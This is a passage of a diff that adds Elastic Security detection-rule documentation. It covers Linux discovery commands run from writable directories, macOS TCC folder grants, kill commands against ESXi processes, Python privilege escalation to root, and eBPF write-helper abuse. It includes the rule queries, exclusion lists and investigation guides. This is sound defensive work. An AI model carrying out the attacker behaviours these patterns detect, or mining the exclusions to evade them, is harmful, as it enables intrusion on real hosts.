Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: /etc/passwd and /etc/shadow +** ID: T1003.008 +** Reference URL: https://attack.mitre.org/techniques/T1003/008/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-system-commands-executed-by-previously-unknown-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-system-commands-executed-by-previously-unknown-executable.asciidoc new file mode 100644 index 0000000000..1fecfffcfd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-system-commands-executed-by-previously-unknown-executable.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-suspicious-system-commands-executed-by-previously-unknown-executable]] +=== Suspicious System Commands Executed by Previously Unknown Executable + +This rule monitors for the execution of several commonly used system commands executed by a previously unknown executable located in commonly abused directories. An alert from this rule can indicate the presence of potentially malicious activity, such as the execution of unauthorized or suspicious processes attempting to run malicious code. Detecting and investigating such behavior can help identify and mitigate potential security threats, protecting the system and its data from potential compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious System Commands Executed by Previously Unknown Executable* + + +In Linux environments, system commands are essential for managing processes and configurations. Adversaries exploit this by executing commands via unknown executables in vulnerable directories, aiming to run unauthorized code. The detection rule identifies such anomalies by monitoring command executions from unfamiliar sources, excluding known safe processes, thus highlighting potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process.executable path to determine if it is located in a commonly abused directory such as /tmp, /dev/shm, or /var/tmp, which may indicate malicious intent. +- Examine the process.args to identify which specific system command was executed (e.g., hostname, id, ifconfig) and assess whether its execution is typical for the system's normal operations. +- Check the process.parent.executable to understand the parent process that initiated the suspicious command execution, ensuring it is not a known safe process or a legitimate system service. +- Investigate the user account associated with the process to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts from the same host to identify any patterns or additional suspicious activities that may indicate a broader compromise. +- Assess the risk score and severity in the context of the environment to prioritize the investigation and response efforts accordingly. + + +*False positive analysis* + + +- System maintenance scripts or automated tasks may trigger alerts if they execute common system commands from directories like /tmp or /var/tmp. To handle this, identify these scripts and add their executables to the exclusion list. +- Custom user scripts that perform routine checks using commands like ls or ps might be flagged. Review these scripts and consider adding their paths to the known safe processes to prevent unnecessary alerts. +- Development or testing environments often use temporary executables in directories such as /dev/shm. If these are known and non-threatening, include their paths in the exception list to reduce false positives. +- Some monitoring tools or agents might execute commands like uptime or whoami from non-standard locations. Verify these tools and update the exclusion criteria to include their executables or parent processes. +- In environments with containerized applications, processes running from /run/containerd or similar paths might be incorrectly flagged. Ensure these paths are accounted for in the exclusion settings if they are part of legitimate operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified by the alert, especially those originating from unknown executables in commonly abused directories. +- Conduct a thorough review of the affected directories (e.g., /tmp, /var/tmp, /dev/shm) to identify and remove any unauthorized or malicious files or executables. +- Restore any altered system configurations or files from a known good backup to ensure system integrity. +- Implement stricter access controls and permissions on the directories identified in the alert to prevent unauthorized executable placement. +- Monitor the system for any signs of persistence mechanisms, such as cron jobs or startup scripts, and remove any that are unauthorized. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.action:(exec or exec_event or fork or fork_event) and +process.executable:(* and ( + /etc/crontab or /bin/* or /boot/* or /dev/shm/* or /etc/cron.*/* or /etc/init.d/* or /etc/rc*.d/* or /etc/update-motd.d/* or + /home/*/.* or /tmp/* or /usr/bin/* or /usr/lib/update-notifier/* or /usr/share/* or /var/tmp/* or /sbin/* or /usr/sbin/* or + /usr/local/sbin/* or /usr/local/bin/* or /var/lib/* or /var/run/* or /var/cache/* or /var/log/* or /dev/shm/* or /var/tmp/* +) and not /tmp/go-build*) and +process.args:(hostname or id or ifconfig or ls or netstat or ps or pwd or route or top or uptime or whoami) and +not (process.name: + (apt or dnf or docker or dockerd or dpkg or hostname or id or ls or netstat or ps or pwd or rpm or snap or + snapd or sudo or top or uptime or which or whoami or yum or sh or bash or ip or dash or find or podman or env or + busybox or aws or timeout or nmcli or dpkg-query or nsenter or pw-cli or node or npm or gnome-calculator or pidof or + steamerrorreporter or ssh or grep or xargs or apt-get or numactl or entrypoint or flatpak-spawn or logger or command or + login or sshpass or docker-compose or whereis or rbd or basename or ifconfig or tar or crictl or su) or +process.parent.executable:( + /opt/cassandra/bin/cassandra or /opt/nessus/sbin/nessusd or /opt/nessus_agent/sbin/nessus-agent-module or /opt/puppetlabs/puppet/bin/puppet or + /opt/puppetlabs/puppet/bin/ruby or /usr/libexec/platform-python or /usr/local/cloudamize/bin/CCAgent or /usr/sbin/sshd or /bin/* or + /etc/network/* or /opt/Elastic/* or /opt/TrendMicro* or /opt/aws/* or /opt/eset/* or /opt/rapid7/* or /run/containerd/* or /run/k3s/* or + /snap/* or /tmp/dpkg-licenses* or /tmp/newroot/* or /usr/bin/* or /var/lib/amagent/* or /var/lib/docker/* or /vz/* or + "/usr/sbin/sshd" or "./runc" or "/opt/gitlab/embedded/bin/ruby" or /opt/saltstack/salt/bin/python* or "/usr/lib/rabbitmq/bin/rabbitmqctl" + ) or + process.executable:(/run/containerd/* or /srv/snp/docker/* or /tmp/.criu*) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-tcc-access-granted-for-user-folders.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-tcc-access-granted-for-user-folders.asciidoc new file mode 100644 index 0000000000..d82f845800 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-tcc-access-granted-for-user-folders.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-suspicious-tcc-access-granted-for-user-folders]] +=== Suspicious TCC Access Granted for User Folders + +Detects when TCC access is granted for multiple user folders like Desktop, Downloads and Documents in quick succession. Many information stealers require TCC permissions to access these locations and will prompt users to grant access for data exfiltration. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Collection +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious TCC Access Granted for User Folders* + + +The Transparency, Consent, and Control (TCC) framework is macOS's privacy protection mechanism that controls application access to sensitive resources like the Desktop, Documents, and Downloads folders. Threat actors may manipulate the TCC database to grant unauthorized access to these protected locations, enabling data theft without triggering user consent prompts. This detection rule identifies when scripting interpreters or command-line tools create multiple TCC permission grants in rapid succession, indicating potential automated TCC manipulation. + + +*Possible investigation steps* + + +- Review the Effective_process.name and Effective_process.executable fields to identify which process is creating TCC permission grants and assess whether this is expected behavior. +- Examine the Tcc.service values to understand which protected folders (Desktop, Documents, Downloads) were granted access and evaluate the sensitivity of data in those locations. +- Investigate the Effective_process.parent.executable and command_line to trace how the TCC-modifying process was launched and identify the initial execution vector. +- Review the timing and count of TCC grants to determine if this is an automated batch operation characteristic of malicious activity. +- Check the TCC.db database directly using sqlite3 to review all permission grants and identify any unauthorized entries. +- Correlate with file access events to determine if the granted permissions were subsequently used to access sensitive data. +- Review the user.name associated with the activity and verify whether they would have legitimate reasons to grant these permissions. + + +*False positive analysis* + + +- Legitimate applications during first launch or installation may request TCC access, but typically through standard user prompts rather than direct database modification. Verify if application installation was expected. +- Enterprise MDM solutions may configure TCC permissions during device setup or policy enforcement. Confirm with IT operations if MDM deployments were scheduled. +- Automation and scripting workflows may require TCC access for legitimate file operations. Review with the script owner to confirm legitimacy. +- System administration tasks may involve TCC manipulation for specific operational requirements. Verify with IT staff before dismissing. + + +*Response and remediation* + + +- Immediately revoke the unauthorized TCC access grants by removing the malicious entries from the TCC.db database or resetting TCC permissions for the affected application. +- Terminate the suspicious process that created the TCC grants and prevent it from restarting. +- Isolate the affected macOS system to prevent potential data exfiltration using the newly granted permissions. +- Conduct a forensic review of file access events to determine if sensitive data was accessed using the unauthorized TCC permissions. +- Scan the system for additional malware, persistence mechanisms, or indicators of compromise. +- Reset TCC permissions to their default state using tccutil reset or by deleting and recreating the TCC.db database. +- Review other systems in the environment for similar TCC manipulation activity. +- Escalate to the incident response team for comprehensive investigation if data theft is suspected. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.* +| WHERE host.os.type == "macos" + AND event.action == "tcc_modify" + AND Tcc.right == "allowed" + AND Tcc.update_type == "create" + AND Tcc.service IN ("SystemPolicyDocumentsFolder", "SystemPolicyDownloadsFolder", "SystemPolicyDesktopFolder") + AND Effective_process.name RLIKE "(bash|zsh|sh|osascript|python.*|perl.*|ruby.*|node|Terminal|iTerm2|ghostty)" +| STATS + Esql.grant_count = COUNT(*), + Esql.unique_folders = COUNT_DISTINCT(Tcc.service), + Esql.folders = VALUES(Tcc.service) + BY Effective_process.entity_id, Effective_process.executable, host.name, user.name +| WHERE Esql.unique_folders >= 2 +| KEEP Esql.*, Effective_process.entity_id, Effective_process.executable, host.name, user.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: TCC Manipulation +** ID: T1548.006 +** Reference URL: https://attack.mitre.org/techniques/T1548/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-termination-of-esxi-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-termination-of-esxi-process.asciidoc new file mode 100644 index 0000000000..28238fa258 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-termination-of-esxi-process.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-suspicious-termination-of-esxi-process]] +=== Suspicious Termination of ESXI Process + +Identifies instances where VMware processes, such as "vmware-vmx" or "vmx," are terminated on a Linux system by a "kill" command. The rule monitors for the "end" event type, which signifies the termination of a process. The presence of a "kill" command as the parent process for terminating VMware processes may indicate that a threat actor is attempting to interfere with the virtualized environment on the targeted system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Termination of ESXI Process* + + +VMware ESXi is a hypervisor used to create and manage virtual machines on a host system. Adversaries may target ESXi processes like "vmware-vmx" to disrupt virtual environments, often using the "kill" command to terminate these processes. The detection rule identifies such terminations by monitoring for specific process events, helping to uncover potential threats to virtualized infrastructures. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is either "vmware-vmx" or "vmx" and that the parent process is "kill" on a Linux host. +- Check the timeline of events leading up to the termination to identify any preceding suspicious activities or commands executed by the same user or process. +- Investigate the user account associated with the "kill" command to determine if it is authorized to manage VMware processes and if there are any signs of compromise. +- Examine system logs and audit trails for any unauthorized access attempts or anomalies around the time of the process termination. +- Assess the impact on the virtual environment by verifying the status of affected virtual machines and any potential service disruptions. +- Correlate this event with other security alerts or incidents to identify if it is part of a larger attack pattern targeting the virtual infrastructure. + + +*False positive analysis* + + +- Routine maintenance or administrative tasks may involve terminating VMware processes using the kill command. To manage this, create exceptions for known maintenance scripts or administrative user accounts that regularly perform these actions. +- Automated scripts or monitoring tools might inadvertently terminate VMware processes as part of their operations. Identify and exclude these tools from the detection rule by specifying their process names or user accounts. +- System updates or patches could lead to the termination of VMware processes as part of the update procedure. Exclude these events by correlating them with known update schedules or specific update-related process names. +- Testing environments where VMware processes are frequently started and stopped for development purposes can trigger false positives. Implement exclusions for these environments by using hostnames or IP addresses associated with test systems. + + +*Response and remediation* + + +- Immediately isolate the affected host system from the network to prevent further malicious activity and potential spread to other systems. +- Terminate any unauthorized or suspicious processes that are still running on the affected host, especially those related to VMware ESXi, to halt any ongoing disruption. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise or persistence mechanisms that may have been deployed by the threat actor. +- Restore any terminated VMware processes from a known good backup to ensure the virtual environment is returned to its operational state. +- Review and update access controls and permissions on the affected host to ensure that only authorized personnel can execute critical commands like "kill" on VMware processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement enhanced monitoring and alerting for similar suspicious activities across the virtualized infrastructure to detect and respond to future threats more effectively. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "end" and process.name in ("vmware-vmx", "vmx") +and process.parent.name == "kill" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-uid-change-to-root-via-python.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-uid-change-to-root-via-python.asciidoc new file mode 100644 index 0000000000..8bcc3e97da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-uid-change-to-root-via-python.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-suspicious-uid-change-to-root-via-python]] +=== Suspicious UID Change to Root via Python + +Detects a UID change event to 0 (root) where the responsible process is a Python interpreter running from a user- or world-writable working directory and the parent process is non-root. This may be indicative of a local privilege escalation exploit executed via Python. Using the new terms feature, noise from automated tools or system processes is partially filtered out. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.jfrog.com/post/dissecting-and-exploiting-linux-lpe-variant-dirtyclone-cve-2026-43503/ +* https://github.com/mooder1/dirtyclone-CVE-2026-43503 + +*Tags*: + +* Data Source: Elastic Defend +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Execution +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious UID Change to Root via Python* + + +This rule flags a Linux process where a Python interpreter launched from a user- or world-writable location suddenly switches to UID 0 even though its parent was not running as root, a strong sign of local privilege escalation. An attacker might drop or compile an exploit in /tmp or a home directory, execute it through python3, and use the resulting root context to take full control of the host. + + +*Possible investigation steps* + + +- Reconstruct the full process ancestry and command line around the Python execution, including any shell, script, package manager, or developer tooling that launched it, to quickly separate expected admin activity from an unexpected exploit chain. +- Review the Python code and surrounding file activity in writable directories for exploit indicators such as dropped ELF binaries, compiled modules, kernel-targeting source, symlink abuse, or references to known privilege-escalation PoCs. +- Correlate the event with session context by identifying the associated user login, TTY, SSH source, sudo or su history, and recent commands to determine whether the root transition was intentional or adversary-driven. +- Examine actions performed immediately after the privilege change for signs of follow-on compromise, such as spawning an interactive root shell, modifying sudoers or PAM, creating cron or systemd persistence, adding users or SSH keys, or disabling security tooling. +- Validate whether the host was susceptible to a local privilege-escalation path at the time by checking kernel and OS version, recent patch status, and whether the observed artifacts match public exploits relevant to that platform. + + +*False positive analysis* + + +- A developer or administrator may be legitimately testing a custom privileged Python helper from `/tmp` or a home directory that uses an approved setuid-root wrapper or retained capabilities to switch to UID 0, so verify the script and interpreter ownership, permissions/capabilities, and whether the activity matches a documented maintenance or test window. +- A local installation, upgrade, or recovery workflow can stage Python code in `/var/tmp`, `/dev/shm`, or `/home` and briefly elevate to root to complete expected file or permission changes, so confirm the parent process lineage, review the script contents and resulting system modifications, and ensure they align with recent authorized admin activity. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network except for approved response channels, suspend the compromised user session, and preserve the malicious Python script, its parent shell history, and any binaries dropped in `/tmp`, `/var/tmp`, `/dev/shm`, or the user home directory for forensic review. +- Kill the attacker-controlled Python process and any spawned root shell or child processes, then remove persistence such as new cron entries, rogue systemd services or timers, modified `/etc/rc.local`, added `authorized_keys`, backdoored `sudoers`, and unauthorized local accounts. +- Quarantine or delete exploit files and any trojaned binaries they replaced, rotate passwords and any SSH keys, API tokens, or service credentials exposed on the host, and review lateral access from that system while it was running with root privileges. +- Rebuild or restore the host from a known-good image if root-level changes cannot be fully scoped, then validate the kernel, installed packages, PAM configuration, `/etc/sudoers`, critical system binaries, and endpoint security tooling against a trusted baseline before reconnecting it. +- Escalate to incident response immediately if you find PAM or `sudoers` tampering, kernel module loading, additional root-capable accounts, signs of data staging or exfiltration, or the same Python-based privilege escalation pattern on more than one host. +- Harden the environment by patching the kernel and vulnerable packages, mounting `/tmp` and `/dev/shm` with `noexec`, `nodev`, and `nosuid` where feasible, removing unnecessary setuid bits and file capabilities, and alerting on interpreters elevating to root from user-writable directories. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:change and event.action:uid_change and +user.id:0 and not process.parent.user.id:0 and not process.parent.group.id:0 and process.name:python* and +process.working_directory:(/tmp* or /var/tmp* or /dev/shm* or /home/* or /run/user* or /var/run/user* or /var/www*) and +process.parent.working_directory:(/tmp* or /var/tmp* or /dev/shm* or /home/* or /run/user* or /var/run/user* or /var/www*) and +process.command_line:* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-usage-of-bpf-probe-write-user-helper.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-usage-of-bpf-probe-write-user-helper.asciidoc new file mode 100644 index 0000000000..cc353ef389 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-usage-of-bpf-probe-write-user-helper.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-suspicious-usage-of-bpf-probe-write-user-helper]] +=== Suspicious Usage of bpf_probe_write_user Helper + +This rule monitors the syslog log file for messages related to instances of a program using the "bpf_probe_write_user" helper. The "bpf_probe_write_user" helper is used to write data to user space from a BPF program. Unauthorized use of this helper can be indicative of an eBPF rootkit or other malicious activity. + +*Rule type*: query + +*Rule indices*: + +* logs-system.syslog-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Usage of bpf_probe_write_user Helper* + + +The `bpf_probe_write_user` helper is a function within the eBPF (extended Berkeley Packet Filter) framework, allowing BPF programs to write data to user space. While useful for legitimate monitoring and debugging, adversaries can exploit it to manipulate user space memory, potentially deploying rootkits or evading defenses. The detection rule monitors syslog entries for kernel processes invoking this helper, flagging potential unauthorized use indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the syslog entries for the specific message "bpf_probe_write_user" to identify the exact time and context of the event. +- Correlate the timestamp of the alert with other logs and system activities to identify any unusual behavior or patterns around the same time. +- Investigate the process details associated with the kernel at the time of the alert to determine if there are any anomalies or unauthorized modifications. +- Check for any recent changes or installations on the system that could have introduced unauthorized BPF programs. +- Assess the system for signs of persistence mechanisms or defense evasion tactics, as indicated by the MITRE ATT&CK framework references. +- Conduct a thorough review of user accounts and permissions to ensure no unauthorized access or privilege escalation has occurred. +- If suspicious activity is confirmed, isolate the affected system and perform a comprehensive forensic analysis to understand the scope and impact of the potential compromise. + + +*False positive analysis* + + +- Legitimate monitoring tools may use the bpf_probe_write_user helper for debugging purposes. Identify and whitelist these tools by verifying their source and ensuring they are part of authorized software packages. +- Kernel developers and system administrators might use this helper during system diagnostics or performance tuning. Establish a baseline of expected usage patterns and create exceptions for known maintenance activities. +- Automated scripts or system processes that perform regular system checks could trigger this rule. Review the scripts and processes to confirm their legitimacy and exclude them from alerts if they are verified as 